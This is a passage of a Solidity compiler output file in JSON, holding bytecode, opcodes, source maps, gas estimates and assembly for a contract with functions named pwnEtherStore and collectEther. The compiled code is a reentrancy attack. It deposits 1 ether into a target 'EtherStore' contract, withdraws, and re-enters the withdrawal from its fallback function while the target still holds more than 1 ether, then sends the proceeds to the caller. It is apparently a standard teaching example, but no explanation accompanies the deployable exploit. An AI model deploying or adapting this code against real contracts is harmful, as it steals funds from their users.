"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x40 MLOAD PUSH1 0x20 DUP1 PUSH2 0x46D DUP4 CODECOPY DUP2 ADD DUP1 PUSH1 0x40 MSTORE DUP2 ADD SWAP1 DUP1 DUP1 MLOAD SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP DUP1 PUSH1 0x0 DUP1 PUSH2 0x100 EXP DUP2 SLOAD DUP2 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF MUL NOT AND SWAP1 DUP4 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND MUL OR SWAP1 SSTORE POP POP PUSH2 0x3EA DUP1 PUSH2 0x83 PUSH1 0x0 CODECOPY PUSH1 0x0 RETURN STOP PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH2 0x57 JUMPI PUSH1 0x0 CALLDATALOAD PUSH29 0x100000000000000000000000000000000000000000000000000000000 SWAP1 DIV PUSH4 0xFFFFFFFF AND DUP1 PUSH4 0x6289D385 EQ PUSH2 0x152 JUMPI DUP1 PUSH4 0xACD2E6E5 EQ PUSH2 0x15C JUMPI DUP1 PUSH4 0xFF11E1DB EQ PUSH2 0x1B3 JUMPI JUMPDEST PUSH8 0xDE0B6B3A7640000 PUSH1 0x0 DUP1 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND BALANCE GT ISZERO PUSH2 0x150 JUMPI PUSH1 0x0 DUP1 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0x155DD5EE PUSH8 0xDE0B6B3A7640000 PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH29 0x100000000000000000000000000000000000000000000000000000000 MUL DUP2 MSTORE PUSH1 0x4 ADD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x137 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x14B JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP JUMPDEST STOP JUMPDEST PUSH2 0x15A PUSH2 0x1CA JUMP JUMPDEST STOP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x168 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x171 PUSH2 0x339 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x1BF JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x1C8 PUSH2 0x35E JUMP JUMPDEST STOP JUMPDEST PUSH8 0xDE0B6B3A7640000 CALLVALUE LT ISZERO ISZERO ISZERO PUSH2 0x1E1 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x0 DUP1 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0xE2C41DBC PUSH8 0xDE0B6B3A7640000 PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH29 0x100000000000000000000000000000000000000000000000000000000 MUL DUP2 MSTORE PUSH1 0x4 ADD PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP9 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x26E JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x282 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP POP PUSH1 0x0 DUP1 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0x155DD5EE PUSH8 0xDE0B6B3A7640000 PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH29 0x100000000000000000000000000000000000000000000000000000000 MUL DUP2 MSTORE PUSH1 0x4 ADD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x31F JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x333 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP JUMP JUMPDEST PUSH1 0x0 DUP1 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 JUMP JUMPDEST CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH2 0x8FC ADDRESS PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND BALANCE SWAP1 DUP2 ISZERO MUL SWAP1 PUSH1 0x40 MLOAD PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP9 DUP9 CALL SWAP4 POP POP POP POP ISZERO DUP1 ISZERO PUSH2 0x3BB JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP JUMP STOP LOG1 PUSH6 0x627A7A723058 KECCAK256 LT SHR SWAP1 ADDMOD 0x21 0xbb 0x1e OR DUP3 0x4f 0xec 0x5e 0x29 JUMPI 0xcc 0xd8 MOD 0xb1 BALANCE AND 0x2a CREATE RETURNDATACOPY MSTORE 0x2c 0x4c BALANCE 0xbe 0x4c PUSH31 0x6FE30029000000000000000000000000000000000000000000000000000000 ", | |
"sourceMap": "53:799:0:-;;;176:100;8:9:-1;5:2;;;30:1;27;20:12;5:2;176:100:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;250:18;226:10;;:43;;;;;;;;;;;;;;;;;;176:100;53:799;;;;;;" | |
}, | |
"deployedBytecode": { | |
"linkReferences": {}, | |
"object": "608060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680636289d38514610152578063acd2e6e51461015c578063ff11e1db146101b3575b670de0b6b3a76400006000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16311115610150576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663155dd5ee670de0b6b3a76400006040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15801561013757600080fd5b505af115801561014b573d6000803e3d6000fd5b505050505b005b61015a6101ca565b005b34801561016857600080fd5b50610171610339565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101bf57600080fd5b506101c861035e565b005b670de0b6b3a764000034101515156101e157600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e2c41dbc670de0b6b3a76400006040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016000604051808303818588803b15801561026e57600080fd5b505af1158015610282573d6000803e3d6000fd5b50505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663155dd5ee670de0b6b3a76400006040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15801561031f57600080fd5b505af1158015610333573d6000803e3d6000fd5b50505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501580156103bb573d6000803e3d6000fd5b505600a165627a7a72305820101c900821bb1e17824fec5e2957ccd806b131162af03e522c4c31be4c7e6fe30029", | |
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH2 0x57 JUMPI PUSH1 0x0 CALLDATALOAD PUSH29 0x100000000000000000000000000000000000000000000000000000000 SWAP1 DIV PUSH4 0xFFFFFFFF AND DUP1 PUSH4 0x6289D385 EQ PUSH2 0x152 JUMPI DUP1 PUSH4 0xACD2E6E5 EQ PUSH2 0x15C JUMPI DUP1 PUSH4 0xFF11E1DB EQ PUSH2 0x1B3 JUMPI JUMPDEST PUSH8 0xDE0B6B3A7640000 PUSH1 0x0 DUP1 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND BALANCE GT ISZERO PUSH2 0x150 JUMPI PUSH1 0x0 DUP1 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0x155DD5EE PUSH8 0xDE0B6B3A7640000 PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH29 0x100000000000000000000000000000000000000000000000000000000 MUL DUP2 MSTORE PUSH1 0x4 ADD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x137 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x14B JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP JUMPDEST STOP JUMPDEST PUSH2 0x15A PUSH2 0x1CA JUMP JUMPDEST STOP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x168 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x171 PUSH2 0x339 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x1BF JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x1C8 PUSH2 0x35E JUMP JUMPDEST STOP JUMPDEST PUSH8 0xDE0B6B3A7640000 CALLVALUE LT ISZERO ISZERO ISZERO PUSH2 0x1E1 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x0 DUP1 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0xE2C41DBC PUSH8 0xDE0B6B3A7640000 PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH29 0x100000000000000000000000000000000000000000000000000000000 MUL DUP2 MSTORE PUSH1 0x4 ADD PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP9 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x26E JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x282 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP POP PUSH1 0x0 DUP1 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0x155DD5EE PUSH8 0xDE0B6B3A7640000 PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH29 0x100000000000000000000000000000000000000000000000000000000 MUL DUP2 MSTORE PUSH1 0x4 ADD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x31F JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x333 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP JUMP JUMPDEST PUSH1 0x0 DUP1 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 JUMP JUMPDEST CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH2 0x8FC ADDRESS PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND BALANCE SWAP1 DUP2 ISZERO MUL SWAP1 PUSH1 0x40 MLOAD PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP9 DUP9 CALL SWAP4 POP POP POP POP ISZERO DUP1 ISZERO PUSH2 0x3BB JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP JUMP STOP LOG1 PUSH6 0x627A7A723058 KECCAK256 LT SHR SWAP1 ADDMOD 0x21 0xbb 0x1e OR DUP3 0x4f 0xec 0x5e 0x29 JUMPI 0xcc 0xd8 MOD 0xb1 BALANCE AND 0x2a CREATE RETURNDATACOPY MSTORE 0x2c 0x4c BALANCE 0xbe 0x4c PUSH31 0x6FE30029000000000000000000000000000000000000000000000000000000 ", | |
"sourceMap": "53:799:0:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;777:7;756:10;;;;;;;;;;;:18;;;:28;752:92;;;800:10;;;;;;;;;;;:24;;;825:7;800:33;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8:9:-1;5:2;;;30:1;27;20:12;5:2;800:33:0;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;800:33:0;;;;752:92;53:799;282:296;;;;;;75:28;;8:9:-1;5:2;;;30:1;27;20:12;5:2;75:28:0;;;;;;;;;;;;;;;;;;;;;;;;;;;584:81;;8:9:-1;5:2;;;30:1;27;20:12;5:2;584:81:0;;;;;;282:296;392:7;379:9;:20;;371:29;;;;;;;;461:10;;;;;;;;;;;:23;;;491:7;461:40;;;;;;;;;;;;;;;;;;;;;;;8:9:-1;5:2;;;30:1;27;20:12;5:2;461:40:0;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;461:40:0;;;;;538:10;;;;;;;;;;;:24;;;563:7;538:33;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8:9:-1;5:2;;;30:1;27;20:12;5:2;538:33:0;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;538:33:0;;;;282:296::o;75:28::-;;;;;;;;;;;;;:::o;584:81::-;625:10;:19;;:33;645:4;:12;;;625:33;;;;;;;;;;;;;;;;;;;;;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;625:33:0;584:81::o" | |
}, | |
"gasEstimates": { | |
"creation": { | |
"codeDepositCost": "200400", | |
"executionCost": "20598", | |
"totalCost": "220998" | |
}, | |
"external": { | |
"": "infinite", | |
"collectEther()": "infinite", | |
"etherStore()": "464", | |
"pwnEtherStore()": "infinite" | |
} | |
}, | |
"legacyAssembly": { | |
".code": [ | |
{ | |
"begin": 53, | |
"end": 852, | |
"name": "PUSH", | |
"value": "80" | |
}, | |
{ | |
"begin": 53, | |
"end": 852, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 53, | |
"end": 852, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 176, | |
"end": 276, | |
"name": "CALLVALUE" | |
}, | |
{ | |
"begin": 8, | |
"end": 17, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "PUSH [tag]", | |
"value": "1" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 30, | |
"end": 31, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 27, | |
"end": 28, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 20, | |
"end": 32, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "tag", | |
"value": "1" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 176, | |
"end": 276, | |
"name": "POP" | |
}, | |
{ | |
"begin": 176, | |
"end": 276, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 176, | |
"end": 276, | |
"name": "MLOAD" | |
}, | |
{ | |
"begin": 176, | |
"end": 276, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 176, | |
"end": 276, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 176, | |
"end": 276, | |
"name": "PUSHSIZE" | |
}, | |
{ | |
"begin": 176, | |
"end": 276, | |
"name": "DUP4" | |
}, | |
{ | |
"begin": 176, | |
"end": 276, | |
"name": "CODECOPY" | |
}, | |
{ | |
"begin": 176, | |
"end": 276, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 176, | |
"end": 276, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 176, | |
"end": 276, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 176, | |
"end": 276, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 176, | |
"end": 276, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 176, | |
"end": 276, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 176, | |
"end": 276, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 176, | |
"end": 276, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 176, | |
"end": 276, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 176, | |
"end": 276, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 176, | |
"end": 276, | |
"name": "MLOAD" | |
}, | |
{ | |
"begin": 176, | |
"end": 276, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 176, | |
"end": 276, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 176, | |
"end": 276, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 176, | |
"end": 276, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 176, | |
"end": 276, | |
"name": "SWAP3" | |
}, | |
{ | |
"begin": 176, | |
"end": 276, | |
"name": "SWAP2" | |
}, | |
{ | |
"begin": 176, | |
"end": 276, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 176, | |
"end": 276, | |
"name": "POP" | |
}, | |
{ | |
"begin": 176, | |
"end": 276, | |
"name": "POP" | |
}, | |
{ | |
"begin": 176, | |
"end": 276, | |
"name": "POP" | |
}, | |
{ | |
"begin": 250, | |
"end": 268, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 226, | |
"end": 236, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 226, | |
"end": 236, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 226, | |
"end": 269, | |
"name": "PUSH", | |
"value": "100" | |
}, | |
{ | |
"begin": 226, | |
"end": 269, | |
"name": "EXP" | |
}, | |
{ | |
"begin": 226, | |
"end": 269, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 226, | |
"end": 269, | |
"name": "SLOAD" | |
}, | |
{ | |
"begin": 226, | |
"end": 269, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 226, | |
"end": 269, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 226, | |
"end": 269, | |
"name": "MUL" | |
}, | |
{ | |
"begin": 226, | |
"end": 269, | |
"name": "NOT" | |
}, | |
{ | |
"begin": 226, | |
"end": 269, | |
"name": "AND" | |
}, | |
{ | |
"begin": 226, | |
"end": 269, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 226, | |
"end": 269, | |
"name": "DUP4" | |
}, | |
{ | |
"begin": 226, | |
"end": 269, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 226, | |
"end": 269, | |
"name": "AND" | |
}, | |
{ | |
"begin": 226, | |
"end": 269, | |
"name": "MUL" | |
}, | |
{ | |
"begin": 226, | |
"end": 269, | |
"name": "OR" | |
}, | |
{ | |
"begin": 226, | |
"end": 269, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 226, | |
"end": 269, | |
"name": "SSTORE" | |
}, | |
{ | |
"begin": 226, | |
"end": 269, | |
"name": "POP" | |
}, | |
{ | |
"begin": 176, | |
"end": 276, | |
"name": "POP" | |
}, | |
{ | |
"begin": 53, | |
"end": 852, | |
"name": "PUSH #[$]", | |
"value": "0000000000000000000000000000000000000000000000000000000000000000" | |
}, | |
{ | |
"begin": 53, | |
"end": 852, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 53, | |
"end": 852, | |
"name": "PUSH [$]", | |
"value": "0000000000000000000000000000000000000000000000000000000000000000" | |
}, | |
{ | |
"begin": 53, | |
"end": 852, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 53, | |
"end": 852, | |
"name": "CODECOPY" | |
}, | |
{ | |
"begin": 53, | |
"end": 852, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 53, | |
"end": 852, | |
"name": "RETURN" | |
} | |
], | |
".data": { | |
"0": { | |
".auxdata": "a165627a7a72305820101c900821bb1e17824fec5e2957ccd806b131162af03e522c4c31be4c7e6fe30029", | |
".code": [ | |
{ | |
"begin": 53, | |
"end": 852, | |
"name": "PUSH", | |
"value": "80" | |
}, | |
{ | |
"begin": 53, | |
"end": 852, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 53, | |
"end": 852, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 53, | |
"end": 852, | |
"name": "PUSH", | |
"value": "4" | |
}, | |
{ | |
"begin": 53, | |
"end": 852, | |
"name": "CALLDATASIZE" | |
}, | |
{ | |
"begin": 53, | |
"end": 852, | |
"name": "LT" | |
}, | |
{ | |
"begin": 53, | |
"end": 852, | |
"name": "PUSH [tag]", | |
"value": "1" | |
}, | |
{ | |
"begin": 53, | |
"end": 852, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 53, | |
"end": 852, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 53, | |
"end": 852, | |
"name": "CALLDATALOAD" | |
}, | |
{ | |
"begin": 53, | |
"end": 852, | |
"name": "PUSH", | |
"value": "100000000000000000000000000000000000000000000000000000000" | |
}, | |
{ | |
"begin": 53, | |
"end": 852, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 53, | |
"end": 852, | |
"name": "DIV" | |
}, | |
{ | |
"begin": 53, | |
"end": 852, | |
"name": "PUSH", | |
"value": "FFFFFFFF" | |
}, | |
{ | |
"begin": 53, | |
"end": 852, | |
"name": "AND" | |
}, | |
{ | |
"begin": 53, | |
"end": 852, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 53, | |
"end": 852, | |
"name": "PUSH", | |
"value": "6289D385" | |
}, | |
{ | |
"begin": 53, | |
"end": 852, | |
"name": "EQ" | |
}, | |
{ | |
"begin": 53, | |
"end": 852, | |
"name": "PUSH [tag]", | |
"value": "2" | |
}, | |
{ | |
"begin": 53, | |
"end": 852, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 53, | |
"end": 852, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 53, | |
"end": 852, | |
"name": "PUSH", | |
"value": "ACD2E6E5" | |
}, | |
{ | |
"begin": 53, | |
"end": 852, | |
"name": "EQ" | |
}, | |
{ | |
"begin": 53, | |
"end": 852, | |
"name": "PUSH [tag]", | |
"value": "3" | |
}, | |
{ | |
"begin": 53, | |
"end": 852, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 53, | |
"end": 852, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 53, | |
"end": 852, | |
"name": "PUSH", | |
"value": "FF11E1DB" | |
}, | |
{ | |
"begin": 53, | |
"end": 852, | |
"name": "EQ" | |
}, | |
{ | |
"begin": 53, | |
"end": 852, | |
"name": "PUSH [tag]", | |
"value": "4" | |
}, | |
{ | |
"begin": 53, | |
"end": 852, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 53, | |
"end": 852, | |
"name": "tag", | |
"value": "1" | |
}, | |
{ | |
"begin": 53, | |
"end": 852, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 777, | |
"end": 784, | |
"name": "PUSH", | |
"value": "DE0B6B3A7640000" | |
}, | |
{ | |
"begin": 756, | |
"end": 766, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 756, | |
"end": 766, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 756, | |
"end": 766, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 756, | |
"end": 766, | |
"name": "SLOAD" | |
}, | |
{ | |
"begin": 756, | |
"end": 766, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 756, | |
"end": 766, | |
"name": "PUSH", | |
"value": "100" | |
}, | |
{ | |
"begin": 756, | |
"end": 766, | |
"name": "EXP" | |
}, | |
{ | |
"begin": 756, | |
"end": 766, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 756, | |
"end": 766, | |
"name": "DIV" | |
}, | |
{ | |
"begin": 756, | |
"end": 766, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 756, | |
"end": 766, | |
"name": "AND" | |
}, | |
{ | |
"begin": 756, | |
"end": 774, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 756, | |
"end": 774, | |
"name": "AND" | |
}, | |
{ | |
"begin": 756, | |
"end": 774, | |
"name": "BALANCE" | |
}, | |
{ | |
"begin": 756, | |
"end": 784, | |
"name": "GT" | |
}, | |
{ | |
"begin": 752, | |
"end": 844, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 752, | |
"end": 844, | |
"name": "PUSH [tag]", | |
"value": "7" | |
}, | |
{ | |
"begin": 752, | |
"end": 844, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 800, | |
"end": 810, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 800, | |
